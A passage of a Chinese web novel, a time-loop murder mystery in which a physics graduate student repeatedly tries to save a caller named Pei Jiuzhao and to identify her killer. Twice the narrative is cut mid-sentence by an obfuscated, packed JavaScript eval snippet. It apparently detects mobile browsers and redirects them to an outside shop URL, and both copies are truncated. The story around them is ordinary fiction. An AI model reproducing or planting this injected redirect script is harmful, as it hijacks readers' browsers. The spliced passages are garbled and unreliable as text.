直到快走到派出所大门口的时候,他才咳了几声清了清嗓子小声开口道:“其实我只是来给章队打下手的,了解得不多……” “听说相城区那边为了勘察现场,将一瓶鲁米诺都喷没了,还得从其他地方现借……” 小李警官就留下了这么模棱两可的一句话,深深地看了一眼尤澈,就与他告别回去了。 尤澈静静地站在上关区派出所的大门口,思绪转得飞快。 鲁米诺试剂……据他所知,是专门用来检测血迹的。 只是,裴九昭的死亡现场他也看过图片,一滩血迹明摆着就在客厅,还需要检测吗? 还是……客厅不是第一案发现场? 6.第六次循环 下午四点,尤澈正在依据第三次模拟实验的数据编写实验报告的时候,电脑上突然弹出来一个提示框,干扰了打字的进程。 “正在运行中”的进度条咻地一下读完,窗口上突兀地蹦出来几个大字——现在张口说“同学请自重”。 尤澈怔了一下,以为是哪位值班的同学留下的恶作剧。他刚准备关闭窗口,下意识的犹豫使他顿了一下转而打开这个程序所在的文件夹。 这是一个名叫“error”的文件夹,里面除了这个命名格式酷似他风格的自动小程序之外,还有一个他非常熟悉的文档,上次实验报告的初稿。 思绪转了几番,尤澈大概能猜到是自己留下的,只是连他也忘了为什么编这样的程序。 略一思索,尤澈还是遵照窗口上的提示将那句奇怪的话念出了口,“同学请自重。” 一时之间,无数的记忆碎片像汹涌的浪一般冲进了他的脑海。 尤澈的手肘撑在桌子上,支着胀痛的脑袋。等到他将那些发生过的事都消化完时,墙上的挂钟已经默默地走过了一圈。 回过神来的尤澈蓦地觉得现在所处的环境有点不太对劲,只是说不上来是因为什么。 但如今,绝不是让他可以松懈下来回想刚才怪异之处的处境。他必须马上联系警方,给予危险中的裴九昭一定的保护。 这件关乎死亡的事,在尤澈看来,绝对不可以告诉裴九昭本人。万一,她知道了这件事情,做出了一些让凶手感受到不对劲的行为,很可能导致凶手提前动手。 况且,裴九昭只是一个女生,如果凶手真的会提前动手,她很难有机会全身而退。 最重要的是,尤澈不想把自己牵扯进去。如果裴九昭再问起他是怎么知道六点十五分的时候自己会身亡的事情,他根本没办法解释。 再其次,后续如若被拉到派出所询问的话,自己让裴九昭预警的话语很容易引起警方的怀疑。 尤澈将要按到座机的挂断键时,又莫名生出了一丝不舍来。 毕竟在六次循环中,尽管他几乎不记得裴九昭说了什么、尽管是裴九昭把他牵扯进了循环。但自始至终,她都是没心没肺与自己说话最多的人,是在冷酷的机制下的一丝暖意。 这丝暖意令尤澈觉得,自己努力地离开循环不再只是单单为了自己,还顺带着为百里之外的人留下了一条生路。 他决定为这样的人说一句祝福,哪怕活下去的裴九昭根本不在意、根本不会记得,尤澈还是要轻轻地开口道:“好好活着。” 随后,他挂断了电话。 尤澈长舒了一口闷气,拿起听筒拨了“110”的电话,向警方的接线人员说明自己接了一通电话,对方可能有危险。 接线人员转给了上关区派出所,听声音而知,接电话的是小李警官。 尤澈将之前想好的一番说辞讲与电话对面的人,“警官您好,我是林城大学物理系研二的尤澈,今天下午在招生办值班,接到了自称在游城大学上学的裴九昭同学的电话。” “在通话中,裴九昭同学极力暗示自己被人跟踪,希望得到帮助。我一直忙于自己的课题实验,刚刚才听出来她话语中的一丝言外之意,于是前来帮她报警,希望可以得到帮助。” “据裴九昭同学透露,她现在正在游城家中,非衣裴、数字九、昭雪的昭……拜托了,警官。” “请稍等……” 小李警官将听筒放到一边,和周围的人不知说了什么,声音嘈杂且远,尤澈没有听清。 等到他再拿起电话时,已经过了一分多钟,小李警官对尤澈说道:“通过数据查到了裴九昭的住址,已经向游城市相城区警方求助。” “这件事我们会持续跟进的,谢谢你提供的线索。” 声音戛然而止,令尤澈一时之间有点没反应过来,怔在了原地,拿着听筒一动不动。 等了几秒,小李警官没听见尤澈的回答,以为他还在担心对方的安全,主动开口安慰道:“放心吧,裴九昭同学会没事的。” 闻言,尤澈才意识到哪里不对劲。 之前每次报案,裴九昭都已经遭遇不测,作为报案人的他避免不了被传唤到派出所做笔录。 而如今,裴九昭还活着,他的报案不算什么重要的命案、更不用立案,自然而然就不必再去派出所。 尤澈默默地“嗯”了一声算是回应,随后说道:“我也相信她会活着……那警官,我就先挂了,辛苦了……” 耳边传了短促的“嘟嘟”声音,尤澈才恍然地将手中的听筒放回原位。他甚至有点不敢相信,自己就这么简单地脱离了令人头疼的循环,从小程序弹出来到结束还不到五分钟。 尤澈就这么呆呆地坐在靠椅上,眼睛虽盯着白底黑字的电脑屏幕,思绪却不知飘到了哪里。 直到隔壁楼的下课铃声悠扬地从窗户缝隙传了进来,他才回过神来,揉了揉手腕继而专注于实验报告的编写中。 还没敲了几个字,桌子左上角的座机又响起了铃声。 尤澈留下右手往文档上敲数据,左手拾起听筒放到耳边,熟练地说道:“你好,这里是林城大学物理系招生办……” “你好,我是上关区派出所刑侦队的章以恩,经由你的报案,相城区警方派出便衣前往裴九昭居住地附近进行排查。” “就在刚才,相城区警方传来消息,排查中他们从裴九昭家里半开的阳台窗户翻进去,发现她倒在血泊中……” 听筒一下子从尤澈微松的手中滑落,被电话线牵扯着在半空中上下浮动。 “已无……命体……” 章警官后面再说了些什么,尤澈一概没听到,他只觉得自己耳朵边嗡嗡的,像是在一个密闭的空间中有几万个和尚围着他念经,吵得他根本听不见任何来自外面的声音。 明明提前了两个小时,为什么结局还是改变不了?为什么裴九昭还是……死了? 是哪里不对吗?他已经提前两个小时向警方寻求庇护,哪怕相城区警方出警缓慢,也不至于让凶手嗅到不对劲提前动手…… 还是因为他和裴九昭的通话被凶手监听着?凶手听到自己最后喃喃的那句“好好活着”,觉得情况不妙尽早动手以绝后患? 难不成……是因为他提前挂了电话? 六次死亡都是在他挂电话后发生的,那么是否有极大可能凶手是忌讳这通电话? 单从裴九昭的视角,凶手很难断定电话对面是谁,那么在他的判断中就有几率是警方,也会忌惮动手时自己的声音会被电话记录下来…… 如果凶手和裴九昭根本不认识,没必要因为一通电话耽误自己下手的机会。因为裴九昭不会喊出他的名字,且凶手只要伪装一下自己的嗓音就可以避过排查。 总之,凶手大概率还是熟人…… 如若这样,那就排除了他上次推断的一种可能性——丹伽雇佣杀手。 极大可能,三个人都互相认识。根据章警官的避而不谈,裴九昭父母大概率不在人世。那么,裴九昭的关系中,能让丹伽也认识的人,只剩下邻居、同学、亲戚。 就算如此,依然没有缩小任何范围…… 思绪像是从一个死胡同转进了另一个死胡同,尤澈像放气的皮球一般,向后倒在靠椅上,一双眉蹙得紧。 他伸手揉了揉酸痛的太阳穴,放下来的时候碰到了垂在半空中的听筒,才意识到自己没有回章警官的话。 尤澈将它拿起来放到耳边时,才发现座机的屏幕上显示章警官打来的这通电话早就挂了。他默默地将听筒又放了回去,继续想问题所在。 一是他说了“好好活着”,二是他提前挂了电话…… “咚咚咚——” 招生办的门被人敲响,尤澈回过神来往门口扫了一眼,说了一声“进”。 门把手被人压下去,合页慢慢旋转,从缝隙中尤澈认出了来人,是一身便衣的章警官,像是刚出警回来顺路将他接到派出所。 章以恩立在门口,问了一句,“尤澈?” 见到尤澈点了点头后,他走到桌子旁将自己的证件出示了一下,说道:“上关区派出所章以恩,请你跟我走一趟,我们需要了解一些有关于案件的事情。” 再次坐上熟悉的警车、熟悉的位置,尤澈的心情异常复杂。与上次唯一不同的是时间,上次黑夜将临,如今阳光刺眼。 他坐在后座靠车窗的地方,说不上来的压抑。尤澈偏着头看向窗外,眯着眼直视夺目的太阳,直到余光都变成一片片青绿色的圆。 副驾驶的章以恩喊了他好几声都没听到回话,微斜视线从后视镜中看到尤澈那副怔愣的模样后,缄口不言。 警车中再次陷入了只有浅浅嗡鸣声的沉默。 两人一前一后走过长廊进了办公室中面对面坐着,为了做笔录,章以恩简单地询问了尤澈一些基本资料。 只是,尤澈一直低着头,连回答也是心不在焉得,常常问两三遍才机械性地回一句。 基本资料填到电脑上后,章以恩正对着尤澈强调道:“我知道对于你来说,一时之间很难消化这件事情……” “但命案已经发生了,如今最重要的是,帮裴九昭找出凶手,让罪恶承受应有的制裁。” 尤澈闻言,放在膝上的双手微微动了一下,像是冰封已久的东西好不容易解冻了一角。 章以恩眼尖地瞧到了这一变化,随后直奔主题地开口问道:“你既然意识到裴九昭正在被跟踪,为什么主动挂了她的电话?” 别说是章警官,就连尤澈自己都想质问当时的他——为什么挂裴九昭的电话?为什么招致凶手提前动手? 尤澈回想了半天,想起了当时的心理活动,他大概被即将脱离循环的噱头冲昏了脑子,以为六点多才会发生的凶案提前两个小时自然可以避免,从而掉以轻心,光明正大地置身事外。 但是这个解释任谁听了都会怀疑几分,尤澈细想了一下,胡扯了一个理由道:“当时通话时间已经一个半小时,我担心打电话的时间太长更容易引起凶手的怀疑……” “且听声音能感觉到裴九昭同学很迫切,一时心急我就挂了电话用招生办的座机报了警。” 这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13234865|139178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理由细品起来其实很牵强,尤澈为了不让自己随口编的事情被章警官找到由头捅破,只好将话题引到凶手身份上去。 “警官,我觉得凶手很可能与裴九昭相熟,不然他没道理在我挂电话之后才动手……他应当是怕裴九昭看到他时喊出他的名字留下证据。” “有没有可能凶手是裴九昭的同学邻居或是亲戚之类的?” 章以恩想了一下,从桌边那叠文件中抽出来几张,扫了几眼说道:“根据相城区警方给的排查报告来看,裴九昭的大学同班同学都有不在案发现场的自证,也没有时间作案。” “同校以及小初高的同学排查起来任务量过大,但根据与裴九昭相熟的人所说,她为人低调,除必要的交流,基本上不与同学讲话……所以凶手是同学这个可能几率很小。” “邻居的排查工作还没有做完……裴九昭这么多年来往的亲戚只有她外公外婆。据调查,裴九昭上次回外公家还是过年的时候,时间隔得太久大概率排除。” 刚燃起的一丝希望就这么被章警官三两句话给浇灭了,尤澈抿了一下唇慢慢地垂下了眸子。 坐在对面的章以恩见他一副低落且自责的表情,低头将那几张纸来回翻了翻,犹豫了几下还是开口说道:“相城区警方将裴九昭家中垃圾桶里的样本送去检测,刚刚传来结果。” “样本中检测到了属于……两个人的不同生物特征。” 两个人? 那为什么章警官之前不说?难道是凶手留下的? 尤澈闻言猛地抬起头,暗淡的眼眸重新燃起了光。如果知道了凶手,那下次循环时脱离循环就非常有望了! “一个是裴九昭,另一个则是裴九昭的父亲……裴人中。” 裴九昭的父亲?他没去世? 为什么章警官之前也不说?有什么原因不能说吗? 尤澈的思绪转得飞快,但感受到对面章警官将视线移到了自己身上,立马将那些疑问压了下去,装作丝毫不知情的模样问道:“裴九昭与我通话时,我并未听到其他人的声音。” “她父亲是不是出去了所以案发时间才不在家?亦或是这个垃圾桶……” 虽说三月底的天气不是特别热,但游城偏潮,家里的垃圾桶总不能两三天未清理。这样看来,垃圾桶的时间大概不超过一天。 一天之内,裴九昭的父亲还在家中,为什么偏偏出事的时候不在? 章以恩回答了尤澈关于垃圾桶时间的问题,他说道:“根据检测报告,垃圾桶中提取到的样本时间不超过六个小时。” “也就是说,中午的时候裴人中还在家中吃饭……但是,最让警方感到奇怪的,不仅是裴九昭感觉到自己要出事时没有联系她父亲而打给了一个陌生人,更是警方至今没有找到裴人中。” “没找到?” 这让尤澈觉得非常奇怪,现在这个年代也算是半只脚踏入电子时代了,除非一件电子设备不用,不然不可能凭空消失。 “嗯……电话联系不到,居民区也没人看见他离开,不知去了哪里。” 章以恩想了一会儿,盯着尤澈问道:“你与裴九昭通话的一个半小时中,她有没有提到裴人中?” 尤澈对于通话内容根本没有印象,但不能将实情直说,只能摇了摇头表示没有提到。 他陡然升起了一个新念头,有没有一种可能性,凶手并不是与裴九昭有仇,反而是来找裴人中的。只是裴人中恰好不在家,且他可能提前知晓风声跑了,凶手没看到裴人中只能拿裴九昭撒气? 彼时裴九昭正在接电话,这个行为让凶手畏怯,他不确定裴人中有没有将实情说给裴九昭听,也许裴九昭通话正是为了留下他的罪证? 所以电话一挂,凶手就毫无忌惮地动手了。不管怎么样,裴人中这当爹的也不是什么好东西。 此后章以恩没再透露什么尤澈此前不知道的事情,笔录做完之后,他便自行离开了。 回去的路上,尤澈一门心思扑在第六次循环的复盘上,小程序弹窗、挂裴九昭电话、报警…… 尤澈蓦地发现了与他上次循环时推演不同的地方,为什么他设定的小程序是开机自行启动,而这次循环中,真正弹出窗口的时间却是下午四点? 难道是把小程序移到招生办电脑的时候改变了设定时间? 尤澈回去之前拐去了物理系招生办,找到了“error”的文件夹,点开了里面的小程序,查看了它的编码。 他发现小程序的设定并没有错,而是循环中不知什么地方出了bug影响了它启动的时间。对于循环中莫名其妙自行改变的设定,尤澈拿它没有一点办法。 就像是跟一个只会回答“嗯啊是呀”的人工智障讨论宇宙大爆炸一样对牛弹琴。 改变不了时间,那就只能从缝隙中找到脱离循环的方法。 如果凶手是来寻裴人中的仇…… 尤澈陡然卡在了这里,因为有一个更加疯狂的念头在此刻涌上心头,令他光是想想都毛骨悚然、不寒而栗。 ——有没有可能这个凶手就是裴九昭的父亲? 7.第七次循环 下午四点,物理系招生办的电脑上弹出一个窗口,坐在椅子上的尤澈看着上面的内容,半信半疑地读出了口,“同学请自重……” 一瞬间,记忆铺天盖地地涌入脑海。 和刚才电话对面的人不停歇地讲故事一比,招生办静得能听到针落下的声音。如此突兀的一句话,应该是将裴九昭吓到了,不然怎么半晌没人说话? 尤澈揉了揉酸胀的太阳穴,反应过来后第一时间看向桌子左上角的座机,屏幕还亮着,说明裴九昭没有挂电话。 他蓦地松了一口气,转而想起来上次循环时总结的两个问题——不说“好好活着”、不挂电话,尤澈清了清嗓子与裴九昭解释道:“不好意思裴同学,我不是说你……” 幸而六次循环将他的脑子训练得思路清奇,下一秒尤澈胡扯道:“……刚才在和别人发语音。” 他说完了才发觉自己这句话联合“同学请自重”五个字有多么像是普信男,他扯了扯嘴角想跳过这个尴尬的话题。 “……总之,你不要在意……” 尤澈不知对面听了他的话联想到了什么,愉悦的笑声沿着扩音口传了出来,随后裴九昭自来熟地沿着刚才的话题继续说了下去。 他听了一耳朵,大概讲到了她外公家的保姆的儿子的八卦。 “……”,尤澈无奈地揉了一把脸。 为了防止凶手就在裴九昭身边潜伏着、偷听她的通话,他决定先给警方报案,从书包里拿起自己的手机,轻手轻脚地从招生办走了出去。 他寻了走廊上的一处角落站定,四下没什么人走动,随后拨通了派出所的电话,以和上次一样的理由请求警方帮助。 在电话里与小李警官告别后,尤澈将手机从耳边撤了下来,盯着它亮着的屏幕陷入了要不要告知裴九昭真相的纠结中。 如果与她讲了,凶手碰巧也听到,为了防止夜长梦多,凶手定然等不及电话挂断,而是铤而走险直接动手。 如果不与她讲,尤澈担心相城区警方与裴九昭一见面,警方说她有危险,而裴九昭说自己没危险,两方言辞不对等后,他就是虚假报案,随后警方就会撤警。 如若凶手足够有耐心,等到了警方撤出居民区……裴九昭还是得死。 有没有一种天衣无缝的解决方法…… 如果裴九昭身边一直有一个人,凶手会不会投鼠忌器?毕竟两个人的力量加一起终究是强一些。 那么,他认识的且能联系到的,只有丹伽。 经由上次循环中得知的一些信息,尤澈对于丹伽的怀疑度降低了不少,尤其是在想通了一件事之后。 ——如果丹伽是凶手且想洗刷自己的嫌疑,她完全可以今天下午不在家或者去了外地,不在场证明绝对比装昏更有说服力。 他之前怀疑丹伽也是因为她见到裴九昭时的昏倒,很难判定是真昏还是装昏。 而且每次将丹伽这个选项摆在章警官面前时,他似乎都很肯定她不是凶手。 所以,凶手无论是来找裴人中寻仇的人,还是裴人中自己,都不需要与其他人合作,基本上可以将丹伽的嫌疑排除了。 就算丹伽真的参与了,尤澈打个电话一试便知。凶手最怕的就是与现场沾染上关系,之后到了警方那里,如果圆不好谎就会被发现。 只要丹伽敢去裴九昭家里呆着,她的嫌疑自然就洗掉了,且还能作为裴九昭的一个帮手,保证裴九昭的安全。 但是丹伽不能以保护她的理由去,不然会引起裴九昭的怀疑。 大概理清了这点,尤澈用手机拨了丹伽的号码,随后放在耳边。趁着打电话的间隙,他拉开招生办的门听了一耳朵,裴九昭还在电话对面喋喋不休。 尤澈放心地站在了门口,手机“嘟”了大约有七八声后,接通了丹伽的电话。 听到丹伽的声音后,尤澈装作很焦急的样子开口道:“你是裴九昭同学的邻居丹伽姐姐吗?” 林丹伽显然被尤澈的话惊到了,怔愣了一下才回道:“是……请问你是哪位?” 尤澈仔细地想了想,随口胡扯道:“丹伽姐姐,我是裴九昭的同学……就在刚刚她给我打了电话,隐晦地表达了自己正在被监视的情况,随后她间隔地报了一串数字,说她最喜欢的就是邻居丹伽姐姐。” “我琢磨了一下她的意思,大概就是想让我给你打电话求助。只是监视她的那个人不知在哪,求您以正常串门的理由在她家陪她一天……也不要将这件事在裴九昭面前提起。” 尤澈应该庆幸,从他之前与丹伽接触过几次来看,丹伽并不聪明。不然,他言语中的漏洞随时能被发现。 比如……裴九昭如若感受到危险可以直接给丹伽打电话,或是直接跑到丹伽家里,何必要绕着弯给他打电话? 丹伽闻言,半天没说话,似是在犹豫,急得尤澈原地来回走了好几步,就差挑明事实骂醒她了。 过了一会儿,丹伽喃喃道:“昭昭……真的觉得我可以救她吗……” “我不行的,如果我没保护好她……同学,你还是报警吧,警察肯定比我有用。” 尤澈“啧”了一声,相比于刚才的伪装,现在是真急了起来,语气都重了不少,将最坏的情况给丹伽讲道:“我刚才已经报过警了,只是出警需要时间……如果因为我们两个人没有将裴九昭从死亡线边上拉过来,心里真的会踏实吗?” “……晚上睡得着觉吗?” 丹伽大约是吃硬不吃软的类型,听了尤澈最后两句话吓得抽了一口气,随后怯怯地说道:“只是如果我去了,两个人都被……” “那也比裴九昭一个人面对要好上许多!” 如若不是尤澈有求于她,只怕下一秒就开始指着她的鼻子骂怂货了。 他深呼吸了一下,将那股闷气驱散,随后苦口婆心地慢慢解释道:“不用担心,我与你保持通话,如果背地里的那个人真的动手了,外面有警方巡逻,你们只需朝着窗户大喊……我会录下来他的声音,交与警方将凶手绳之以法。” “好……好的。”,丹伽深呼吸了几下,又给自己做了心理建设,小心翼翼地说道:“我去了……” 尤澈总不能打击丹伽,只能挑鼓励人的好话娓娓道来:“你和裴九昭都会没事的,信我。” 零碎的声音传来,尤澈知道电话那头的丹伽动身了,也就是说丹伽在他这里基本上就没有嫌疑了。 他趁着丹伽穿过走廊去敲门的空隙,拉开招生办的门,听到了屋内座机扬声器传来隐隐约约的裴九昭的声音。 “吱——” 丹伽拉开了自家生了锈的铁门走了出去,将门关好后通过走廊到达裴九昭家门前。 “咚咚咚——” 丹伽一手拿着通话中的手机,另一只手伸去敲门,连敲几下后喊道:“昭昭……是我,我给你送点零食。” 不知是不是错觉,尤澈总觉得在丹伽从自己家里出来的那一瞬间,屋内的座机便没了声音。 是阴差阳错?还是裴九昭早有警觉和防备? “昭昭开门……” 丹伽的话还没说完,门内陡然传来摔杯子的声音,随后接连传来桌子被抽翻、上面的东西撒落一地的声音,期间夹杂着裴九昭的痛呼。 从耳朵旁的手机中听到打斗声音的那一刻,尤澈蓦地脸色一变,以最快的速度冲进招生办,往座机所在的地方跑去。 “……小心!” 然而下一秒,尤澈发现了一件最糟糕的事情——座机的屏幕暗了,电话被对面的人挂了。 他甚至不知道是裴九昭挂的,还是凶手挂的。 手机中的声音隔着一道门和电话延迟,时不时再参杂着丹伽害怕地呼喊,根本听不清凶手的声音。 怎么办?根本录不到凶手的声音…… 尤澈陡然想起来丹伽有裴九昭家门钥匙,事出紧急,也不怕丹伽怀疑,他急忙对着手机开口喊道:“别愣着!回去拿钥匙救人啊!” “对……我有昭昭家的钥匙……”,丹伽边说边往回跑,从口袋里摸出家门钥匙,送入锁口前手抖得不行,半天对不准。 她甚至急出了哭腔,边开门边喃喃道:“我对不起你……昭昭……怎么开不开……是我没用。” 在几句自责的话语后,丹伽终于将钥匙送进了锁口,她急忙拉开自家的门,冲进去找到了挂在墙上的钥匙。 随后急匆匆地踉跄着跑到了裴九昭家门口,颤着手连开两道门。 尤澈在电话这头什么都做不了,心情压抑地来回踱步,听到丹伽拉开裴九昭家门的声音后立马问道:“裴九昭还活着吗?!” 电话那头的丹伽被眼前的场景定在了原地,别说尤澈的话听不到,就连她自己也像是被人为闭麦一般发不出任何一个音,同时耳朵嗡嗡得。 下一秒,掌心的手机、钥匙全落到了地上,杂乱无章。 尖锐的落地声音刺痛了尤澈的耳膜,随后传来的是电话那头丹伽撕心裂肺般的喊叫。 “昭昭!” 静…… 天地之大只剩尤澈一个人一般的寂静。 控制不住的手抖……尤澈努力控制自己的情绪,才慢慢地将手机从耳边挪到眼前。 通话时间还在一秒一秒地记录着,但是却没了任何声音。 尤澈点开了通话界面的免提,没声音;关了免提放到耳边,还是没声音。 如此反复几次,他不得不再次向现实低头——裴九昭死了,第七次循环失败了。 尤澈一下子倒在了招生办的靠椅之上,连带着椅子往后挪了一段距离,发出刺耳的摩擦声音。 好像过了很久,可偏偏阳光洒进来的角度都没怎么偏移。 摔落在地上的手机蓦地响起了微弱的声音,尤澈回过神来将它捡起来才发现和丹伽打的那通电话还没挂。 “喂喂?有人……” “嘟”的一声,尤澈将电话挂了。 不用猜就知道,出警的相城区警方发现了裴九昭的尸体以及昏过去的丹伽,却意外地看到丹伽手中的电话还在通话中。 或早或晚,他都要去一趟派出所。尤澈绷着脸,将手机随意地扔到了书包里,随后把招生办的电脑关机。 连数据也不用保存了,反正明天还要再做一遍。 尤澈低着脑袋,像具孑然一身的行尸走肉一般,离开林城大学恍恍地前往上关区派出所。 他进入派出所大厅的时候,刚接完电话的小李上前问他来这里所为何事。 “我是尤澈,刚才报案的那个……”,尤澈抬起头看向小李警官,一双眸子无神,喃喃道:“裴九昭死了,我救不了她……” “是你啊。”,小李想了一下刚想去给章以恩打电话,看着尤澈这副失了魂的模样又不放心,交代了一句,“你先等会,我去告诉章队不用去林大了。” 小李警官走开有一会儿了,尤澈像是才听到刚才那番话,对着空气回道:“对,让他别跑了,我就在办公室等他……” 随后,他便依着记忆朝章以恩的办公室走去。 小李打完电话回来的时候发现尤澈不见了,旁边的人指了指章以恩的办公室,他才松了一口气,跟着赶了过去。 他看见尤澈背对着门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只是,如果因为走廊里传来了声音,凶手就要动手,是不是太过于草木皆兵了?而且在之前的几次循环中,到了六点十五才动手,总不会一下午走廊都没声音。 所以,到底是谁挂的电话?为什么挂了电话? 还是没有思绪,裴九昭没道理挂电话。 而让尤澈最不明白的是为什么偏偏这次凶手挂了电话,明明他在四点之后只与裴九昭简单地聊了一两句便出去了,根本没透露任何消息。 总不能是因为凶手连他的电话都监听了?那早在他报警时就可以动手了,没必要拖到他给丹伽打电话。 “凶手喝过的水杯?相城区警方并没有在杯子碎片上监测出任何生物痕迹。”,章以恩翻了翻那堆文件,严肃地说道:“我想,通过你的资料来看,你也不需要去精神科看病。” “如果你不将刚刚所说都交代一遍,嫌疑将会加重,很可能今天晚上回不了宿舍。” 尤澈觉得自己精神都被循环搞得快要恍惚了,也越发无畏无惧了。他甚至面对章警官连句解释都不想多说一个字,反正明天醒来还是“今天”。 他索性直抒己见地说道:“凶手是裴人中。” 章以恩的脸色微变,没有急着开口,反而细细地思索着,尤澈等了有一会儿,他才慢慢地开口道:“如果裴九昭在通话中向你暗示自己会遇到危险且不明说,很大概率她察觉到自己被监视了。” “能够让她在家中有被监视的感觉……” 不用章以恩自己说,尤澈直接将话题接了过来,肯定地说道:“那只有裴人中。” 窗台的鞋印、老式休闲鞋、44码的脚,自然淡定地喝下水杯里的水……尤澈越想越觉得是裴人中。 章以恩身体后仰倚在靠背上,将尤澈来回打量了好几下,伸手将一份报告拿起来在眼前看了一眼,将尤澈不同寻常的问题先抛之脑后,反而问道:“如果凶手是裴人中,为什么还要给裴九昭打电话的机会?” “垃圾桶中检测出来的是两个人的生物痕迹,为什么中午和和气气地吃饭,反而听到裴九昭和你打电话裴人中便要杀了她?” “裴九昭如若觉得是她父亲在监视她,为什么要跟一个不认识的人打电话?为什么不直接跑出门?” 章以恩顿了一下,又将问题绕回尤澈身上,犀利地说道:“你既然知道那么多有关于裴九昭这件事的细节,为什么报案的时候不说?” “从刚才就一口咬死凶手是裴人中,你是不是知道些什么?你确定自己真的与裴九昭不认识吗?为什么裴九昭只在和你打电话的过程中遭遇到了不幸……” 对面的章警官还在不停歇地输出,尤澈只觉得太阳穴突突得疼。 从一开始,什么便都是错的。 林丹伽不是凶手,裴人中也不是凶手……那么是谁?难道是他吗? 尤澈甚至都有那么一丝迷茫,凶手有没有可能真的是他自己,只是他忘了? 他蓦地想起了那个被打碎的水杯,杯内的水与裴九昭的血相混合最后消失不见,就如同他现在这般,燃尽了最后一滴名为道德的灯油,成为一具行走在崩溃边缘的无主肉身。 裴九昭死了就死了,凭什么要这样牵扯着他? 天下那么多人惨死冤死,他总不能都去救个遍吧? 无论凶手是谁,无论怎样的深仇大怨,他一个远在天边的人怎么可能救得了人? 他胸无大志也没什么菩萨心肠,他只想逃离循环、平平淡淡地过完一生,做为一个最普通不过的蝼蚁活着。 裴九昭死了和他有什么关系? 他只是一个人,不是神。 8.第八次循环 熟悉的闹钟铃声隔着枕头响起,尤澈从睡梦中醒来动了动手将它按掉了。 他将手机放到眼前,扫了一眼屏幕上的信息。 08:31、03月30日、星期五,提示框显示有人发来了信息,是那位负责勤工俭事项安排的同学。 尤澈揉了揉眼睛后将手机解锁,系统自动跳转信息聊天框。 [eela:昨天你说今天晚上需要提交实验报告,我去帮你问了问有没有换值班的,今天早上有个天文专业的女生回我了。] [eela:她是下周一下午的值班,换吗?换的话,我去再跟她说几句注意事项。] [尤:换。] [尤:谢谢。] 尤澈发过消息后,那边秒回了一个“好”字。他将手机锁屏扔到了一边,伸了伸懒腰慢悠悠地起床了。 收拾完需要的东西,尤澈背上书包后就出发去往图书馆赶实验报告。交过这次的实验报告,晚上还得跟着组里的其他人一起坐车去外地跑项目。 周末好不容易休息了半天,周一早上还有早八。直到周一上午响起下课铃声的时候,尤澈虽然从忙碌之中稍稍抽身出来,但还是觉得自己只剩半条命了。 吃过午饭、睡了午觉后,尤澈随便往书包里塞了几本书就往物理系招生办去了。路上,那位负责人频频发来消息。 [eela:下午两点半开始值班,切记回话的态度一定要好,不能迟到早退……尤其是那件事发生之后,上面查的更严了。] [尤:什么事?] [eela:你不知道?那件事都在咱们学校传疯了,学校想压都压不住,前几日一直挂在头条上。] [尤:周末跑项目,今天上午满课,手机都没看几眼。] [eela:唉,跟你换班的那个女生都被派出所接过去问话好几次了。昨天我在餐厅见她,人瞧起来都有点精神恍惚,可怜。] [eela:这事换了谁来也预料不到啊……你不知道也好,不是什么好事,也算不得什么大事,你只需要记得该说的说、不该说的别说就行了。] 尤澈也不是热爱八卦、刨根问底的人,见他闭口不言,只回了一个“好”字便将这件事抛之脑后了。 他从招生办门口的花盆底下摸出钥匙,开了门后径直走向办公椅,将书包挂在背面,从中拿出那几本书摞在桌子上。 轻松的小故事合集可以让人的脑子从紧绷的环境中放松下来,尤澈坐在椅子上快看完一本的时候,桌子左上角的座机响起了下午值班的第一通电话。 他伸手将听筒拿起放在耳边,熟练地说道:“你好,这里是林城大学物理系招生办,请问有什么可以帮助到你的吗?” 那人流畅地说完自我介绍后,表达了自己想要调剂到林城大学光学专业的想法,并问尤澈是否有希望。 “同学,今天林大物理系的调剂名额都有所缩减,你的分数可能会有点危险,不过可以等调剂系统开放后报名试一试。” 说话的过程中,尤澈的手机响了一下,是项目组的同学找他要一份资料,他将招生办的电脑打开,顺便将座机调成了免提模式。 在扩音口的作用下,尤澈能清晰地听到电话那头声音嘈杂,像是有五六个人同时说话,但又离得不算近,所以听不清。 他蹙了一下眉,尝试着催了一句道:“同学,还有什么事吗?” 电话那头的人好像在商量一件事,商量完了就派刚才打电话的那个人小心谨慎地问道:“同学,我挂了电话也会死吗?” 像是听到了什么天方夜谭一般,尤澈被这句话怔得抓鼠标拖拽文件的手都僵在了原地,“……什么?” “就是上周五那件事啊……现在我周边的人都在传林城大学物理系招生办的电话不能打,打了就会死,这是真的吗?” 这番附加的解释将尤澈彻底逗笑了,他不知该夸她勇敢还是骂她愚蠢,反问道:“那你还敢打电话?” “我旁边有好多朋友……所以应该没事吧?” “我就说是谣传,你们不信……” “新时代不允许成精,哪儿来的冤魂索命?” 电话那头又开始各说各话起来,尤澈碍于勤工俭学发的那点工资才忍着没将这通电话挂断。 他瞄了一眼墙上的挂钟,秒针刚走到12,正好转到了下午四点整。余光里的电脑陡然弹出来一个窗口,像是误拆了惊喜盒子般把尤澈惊了一下。 弹窗没什么花里胡哨的地方,只有一句话——现在张口说“同学请自重”。 尤澈以为是之前值班的同学嫌咨询的人烦自创的小程序,可能是用来帮助后续值班的同学应付这样的情况。 这句话语气尊重且表明了自己的不耐烦,尤澈将它默默地记下来后,用鼠标点了关闭。 电话那头的人没听到尤澈的表态,大概意识到了自己的尴尬,忙道歉说道:“不好意思同学,我们只是好奇心比较重……” “打扰了打扰了……” 尤澈被电话扩音传来的道歉唤回了思绪,陡然想起刚刚负责人也提到了这件事。 